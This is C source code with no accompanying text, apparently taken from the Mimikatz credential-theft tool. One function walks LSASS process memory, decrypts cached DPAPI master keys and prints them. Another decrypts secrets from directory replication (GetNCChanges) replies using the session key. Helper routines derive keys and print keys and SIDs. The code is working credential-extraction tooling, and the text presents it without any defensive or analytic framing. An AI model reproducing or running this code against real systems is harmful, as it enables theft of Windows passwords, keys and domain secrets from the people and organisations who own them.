BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_dpapi(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) { KIWI_MASTERKEY_CACHE_ENTRY mesCredentials; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aBuffer = {&mesCredentials, &hLocalMemory}, aKey = {NULL, &hLocalMemory}, aLsass = {NULL, pData->cLsass->hLsassMem}; PKUHL_M_SEKURLSA_PACKAGE pPackage = (pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8) ? &kuhl_m_sekurlsa_dpapi_svc_package : &kuhl_m_sekurlsa_dpapi_lsa_package; BYTE dgst[SHA_DIGEST_LENGTH]; DWORD monNb = 0; if(pData->LogonType != Network) { kuhl_m_sekurlsa_printinfos_logonData(pData); if(pPackage->Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &pPackage->Module, MasterKeyCacheReferences, ARRAYSIZE(MasterKeyCacheReferences), (PVOID *) &pMasterKeyCacheList, NULL, NULL, NULL)) { aLsass.address = pMasterKeyCacheList; if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(LIST_ENTRY))) { aLsass.address = mesCredentials.Flink; while(aLsass.address != pMasterKeyCacheList) { if(kull_m_memory_copy(&aBuffer, &aLsass, sizeof(KIWI_MASTERKEY_CACHE_ENTRY))) { if(RtlEqualLuid(pData->LogonId, &mesCredentials.LogonId)) { kprintf(L"\t [%08x]\n\t * GUID :\t", monNb++); kull_m_string_displayGUID(&mesCredentials.KeyUid); kprintf(L"\n\t * Time :\t"); kull_m_string_displayLocalFileTime(&mesCredentials.insertTime); if(aKey.address = LocalAlloc(LPTR, mesCredentials.keySize)) { aLsass.address = (PBYTE) aLsass.address + FIELD_OFFSET(KIWI_MASTERKEY_CACHE_ENTRY, key); if(kull_m_memory_copy(&aKey, &aLsass, mesCredentials.keySize)) { (*pData->lsassLocalHelper->pLsaUnprotectMemory)(aKey.address, mesCredentials.keySize); kprintf(L"\n\t * MasterKey :\t"); kull_m_string_wprintf_hex(aKey.address, mesCredentials.keySize, 0); if(kull_m_crypto_hash(CALG_SHA1, aKey.address, mesCredentials.keySize, dgst, SHA_DIGEST_LENGTH)) { kprintf(L"\n\t * sha1(key) :\t"); kull_m_string_wprintf_hex(dgst, SHA_DIGEST_LENGTH, 0); kuhl_m_dpapi_oe_masterkey_add(&mesCredentials.KeyUid, dgst, SHA_DIGEST_LENGTH); } } LocalFree(aKey.address); } kprintf(L"\n"); } aLsass.address = mesCredentials.Flink; } else break; } } } else kprintf(L"\n\tKO"); kprintf(L"\n"); } return TRUE; }
BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(ATTRVAL *val) { BOOL status = FALSE; PENCRYPTED_PAYLOAD encrypted; MD5_CTX md5ctx; CRYPTO_BUFFER cryptoKey = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, NULL}, cryptoData; DWORD realLen, calcChecksum; PVOID toFree; if(kull_m_rpc_drsr_g_sKey.SessionKey && kull_m_rpc_drsr_g_sKey.SessionKeyLength) { if((val->valLen >= (ULONG) FIELD_OFFSET(ENCRYPTED_PAYLOAD, EncryptedData)) && val->pVal) { encrypted = (PENCRYPTED_PAYLOAD) val->pVal; MD5Init(&md5ctx); MD5Update(&md5ctx, kull_m_rpc_drsr_g_sKey.SessionKey, kull_m_rpc_drsr_g_sKey.SessionKeyLength); MD5Update(&md5ctx, encrypted->Salt, sizeof(encrypted->Salt)); MD5Final(&md5ctx); cryptoKey.Buffer = md5ctx.digest; cryptoData.Length = cryptoData.MaximumLength = val->valLen - FIELD_OFFSET(ENCRYPTED_PAYLOAD, CheckSum); cryptoData.Buffer = (PBYTE) &encrypted->CheckSum; if(NT_SUCCESS(RtlEncryptDecryptRC4(&cryptoData, &cryptoKey))) { realLen = val->valLen - FIELD_OFFSET(ENCRYPTED_PAYLOAD, EncryptedData); if(kull_m_crypto_hash(CALG_CRC32, encrypted->EncryptedData, realLen, &calcChecksum, sizeof(calcChecksum))) { if(calcChecksum == encrypted->CheckSum) { toFree = val->pVal; if(val->pVal = (UCHAR *) MIDL_user_allocate(realLen)) { RtlCopyMemory(val->pVal, encrypted->EncryptedData, realLen); val->valLen = realLen; status = TRUE; MIDL_user_free(toFree); } } else PRINT_ERROR(L"Checksums don\'t match (C:0x%08x - R:0x%08x)\n", calcChecksum, encrypted->CheckSum); } else PRINT_ERROR(L"Unable to calculate CRC32\n"); } else PRINT_ERROR(L"RtlEncryptDecryptRC4\n"); } else PRINT_ERROR(L"No valid data\n"); } else PRINT_ERROR(L"No Session Key\n"); return status; }
BOOL kull_m_crypto_DeriveKeyRaw(ALG_ID hashId, LPVOID hash, DWORD hashLen, LPVOID key, DWORD keyLen) { BOOL status = FALSE; BYTE buffer[152], ipad[64], opad[64]; DWORD i; if(status = (hashLen >= keyLen)) RtlCopyMemory(key, hash, keyLen); else { RtlFillMemory(ipad, sizeof(ipad), '6'); RtlFillMemory(opad, sizeof(opad), '\\'); for(i = 0; i < hashLen; i++) { ipad[i] ^= ((PBYTE) hash)[i]; opad[i] ^= ((PBYTE) hash)[i]; } if(kull_m_crypto_hash(hashId, ipad, sizeof(ipad), buffer, hashLen)) if(status = kull_m_crypto_hash(hashId, opad, sizeof(opad), buffer + hashLen, hashLen)) RtlCopyMemory(key, buffer, KIWI_MINIMUM(keyLen, 2 * hashLen)); } return status; }
void kuhl_m_dpapi_displayInfosAndFree(PVOID data, DWORD dataLen, PSID sid) { BYTE digest[SHA_DIGEST_LENGTH]; kprintf(L" key : "); kull_m_string_wprintf_hex(data, dataLen, 0); kprintf(L"\n"); if(kull_m_crypto_hash(CALG_SHA1, data, dataLen, digest, sizeof(digest))) { kprintf(L" sha1: "); kull_m_string_wprintf_hex(digest, sizeof(digest), 0); kprintf(L"\n"); } LocalFree(data); if(sid) { kprintf(L" sid : "); kull_m_string_displaySID(sid); kprintf(L"\n"); LocalFree(sid); } }